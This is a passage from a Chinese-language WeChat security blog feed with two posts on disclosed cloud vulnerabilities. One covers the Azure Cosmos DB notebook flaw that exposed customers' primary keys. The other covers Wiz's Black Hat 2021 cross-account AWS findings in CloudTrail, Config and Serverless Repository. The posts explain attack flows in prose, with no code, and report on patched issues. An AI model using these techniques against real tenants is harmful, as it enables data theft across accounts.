<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">一个前所未有的漏洞，影响了 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p> 的旗舰数据库服务 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">世界上一些最大的企业使用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 来近乎实时地管理来自世界各地的大量数据。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>支持关键业务功能，例如处理数百万的处方交易或管理电子商务网站上的客户订单流。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">近年来，随着越来越多的公司迁移到云端，数据库泄露变得非常普遍，而罪魁祸首通常是客户环境中的错误配置。</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 功能中的一系列缺陷造成了一个漏洞， 允许任何用户下载、删除或操作大量商业数据库，以及对 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 底层架构的读/写访问。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>窃取 Cosmos DB 客户的主键</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">首先，黑客获得了对客户 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 主键的访问权限。主键是黑客的圣杯——它们是长期存在的，并允许对客户数据进行完全读/写/删除访问。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2019 年，微软向 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 添加了一项名为 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p> 的功能，让客户可以可视化他们的数据并创建自定义视图（见下图）。该功能已于 2021 年 2 月自动为所有 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 启用。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5120370370370371" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=73b231f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcsiaepyb7KIzf6p09yyic83VzE511uLvnb0Mica0XLCbnjHBAf1uaqtPUA%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>功能中的一系列错误配置开启了黑客能够利用的新攻击向量。简而言之，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>容器允许将权限升级到其他客户<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>。</div><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">本系列后面文章披露细节</p></blockquote><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5694444444444444" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ac40f61c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcZSOQPXKZhDIEfjn7FuyDtA47y48Jr4KO7uTrRrR22cOV2fmkt56ySA%2F640%3Fwx_fmt%3Dother"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>访问 Cosmos DB 中的客户数据</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5694444444444444" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c3f46fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcxFpWd0aOo8hcbVoPQnrrO0ntalda8KcYRGYuCdGJZ1rFXhshfNibDBA%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">接下来，在获取 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 密钥后，黑客可以利用这些密钥对受影响的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p> 帐户中存储的所有数据进行完全管理员访问。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客通过密钥以获得对客户资产和数据的长期访问权限。然后，可以直接从互联网控制客户 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>，并具有完整的读/写/删除权限。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在想象一下，为 30 多个地区的数千名不同客户重复这个过程......</p><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 922182</span></h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=73b231f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcsiaepyb7KIzf6p09yyic83VzE511uLvnb0Mica0XLCbnjHBAf1uaqtPUA%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ac40f61c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcZSOQPXKZhDIEfjn7FuyDtA47y48Jr4KO7uTrRrR22cOV2fmkt56ySA%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8c3f46fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcxFpWd0aOo8hcbVoPQnrrO0ntalda8KcYRGYuCdGJZ1rFXhshfNibDBA%2F640%3Fwx_fmt%3Dother"/></p>



<p><a href="2247489519">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dfc22d4e&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489519%26idx%3D1%26sn%3D25dad914b094577792cb5eec994bdff8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 31 May 2023 08:04:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例16: Wiz在黑帽子2021上展示亚马逊云跨租户漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489518&amp;idx=1&amp;sn=87ea73cd6e5750561ff7aab40cd8b671</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-30 08:00</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d57bf48e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcW1LZ4KOCcMMibK9QvakHRET5hoyWEsQoibVXcv1XficVZDGEoASvJPOGg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">去年 11 月，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Wiz</p>机构 枚举了亚马逊云中允许从其他账户访问的所有服务，检查是否有任何服务可能无意中暴露客户，并在不同的亚马逊云服务中发现了3个漏洞，允许任何人读取或写入其他亚马逊云客户的账户。</div></blockquote><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>亚马逊云 账户的隔离程度如何？</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">因此，去年 11 月，我们的研究团队枚举了亚马逊云中允许从其他账户访问的所有服务，以查看是否有任何服务可能会无意中暴露客户。 在短短 10 天的研究中，我们在不同的亚马逊云服务中发现了三个漏洞，允许任何人读取或写入其他亚马逊云客户的账户。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">尽管黑客在现实世界中利用此漏洞会很困难，但可以对其他客户帐户执行未经授权的操作这一事实让人吃惊。这是一个新的暴露向量，可能允许黑客从高度安全的环境中泄露数据而不留下痕迹。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们于 2020 年 11 月向亚马逊报告了这些问题，亚马逊云迅速采取行动解决了这些问题。但是，亚马逊云无法单独修复其中一个漏洞——每个易受攻击的用户都必须更新他们现有的策略。我们的研究表明， 直到今天，超过 90% 的客户仍然容易受到攻击。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">此外，我们强烈怀疑更多亚马逊云的服务容易受到此类跨账户漏洞的攻击。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>跨账户访问如何工作——以及如何被利用</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">简单地说，资源策略允许不同的亚马逊云服务相互访问。为什么这很重要？如今，大多数云客户都采用多帐户方法。他们不是在一个云帐户中管理所有操作，而是将活动划分为多个云帐户，每个帐户都有用于特定目的的特定环境。一家公司在亚马逊云中拥有数百或数千个账户是很常见的。为了使其更易于管理，客户授予亚马逊云服务访问权限以跨其多个账户执行操作。</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">例如，流行的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>服务允许客户从多个账户收集日志并将它们集中在一个桶中。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.8472222222222222" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=59b1684d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcNYLQ63Gca2G4epiandLxD4w9zibO92lITSibGSnH9Z2MYAqCy5eG2Rdmw%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当客户对官方亚马逊云服务授予访问权限时，他们完全信任它。在授予亚马逊云<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>对我们的S3存储桶和其他云资源的访问权限之前，我们大多数人都不会三思。因此，我们惊讶地发现，在某些情况下， 亚马逊云服务（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>、亚马逊云<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Config</p>和 无服务仓库）可能会被操纵，让任何人都能访问其他客户的特定资源。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>漏洞</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>和 亚马逊云<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Config</p>这两个易受攻击的服务中，亚马逊云自动设置的资源策略允许任何人将服务日志写入其他客户账户。以下是易受攻击流程的细分：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.575" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5503d38b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcLeclD4BuLDUUKqleHNGNuQegZcqXAh8xytMW7shp8WCyic8Haum2yEA%2F640%3Fwx_fmt%3Dother"/></figure><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">黑客在其帐户上配置<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>以将日志写入目标存储桶。所选目标存储桶位于客户帐户中。</div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2.<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>收集日志并写入客户存储桶，在不知不觉中为黑客服务并代表他行事。</div><ol start="3" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">存储桶允许访问，因为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>受存储桶信任。</div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">最严重的是，这漏洞影响了亚马逊云的无服务存储库，这是一种允许客户存储和部署无服务器应用程序的平台服务。为了正常工作，该服务需要从客户的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">S3</p>存储桶中提取对象。我们找到了一种利用该服务读取其他客户私有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">S3</p>存储桶的方法，这些存储桶通常包含敏感信息，如源代码、密码和其他工件。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>根本原因</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这些漏洞的根本原因是亚马逊云服务可能会被诱骗代表黑客执行操作，并且目标存储桶无条件地信任该服务。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">例如，截至去年 11 月，这是 亚马逊云针对S3存储桶的默认资源策略。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6777777777777778" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d8d4bb8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcBOiaQiagGIPRqzwbAmqMKgD0mo1wibMxA8z8cTOKgEdX4ohRXTicEC4N4Q%2F640%3Fwx_fmt%3Dother"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">它允许名为无服务存储库的亚马逊云服务访问存储桶中的任何对象。问题是，它非常开放。此策略没有任何地方定义或限制谁可以使用该服务从任何给定客户的 S3 存储桶中访问信息。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">简而言之，默认的亚马逊云策略是不安全的，黑客可以毫不费力地从一个账户横向到另一个账户，从而造成损害。客户从来没有机会安全地配置他们的资源策略——默认情况下他们是不安全的。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>问题解决了……是吗？</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">值得赞扬的是，亚马逊迅速采取行动修复了漏洞，向策略添加条件,更好地限制基础资源的访问。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.43425925925925923" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f806d5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcDzgibHrXfh5tCV047L0WQrFmZqwyleZzc1RxPJgRbM1tvNAbvib27E2A%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">但是，亚马逊云 无法自行解决此问题。只有客户自己可以修改和更新他们的资源策略。当需要用户交互时，解决漏洞总是不太有效。在这种情况下，亚马逊通过电子邮件和亚马逊<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Personal Health Dashboard</p>中的安全通知向易受攻击的用户发送如下所示的警报。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.33240740740740743" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" 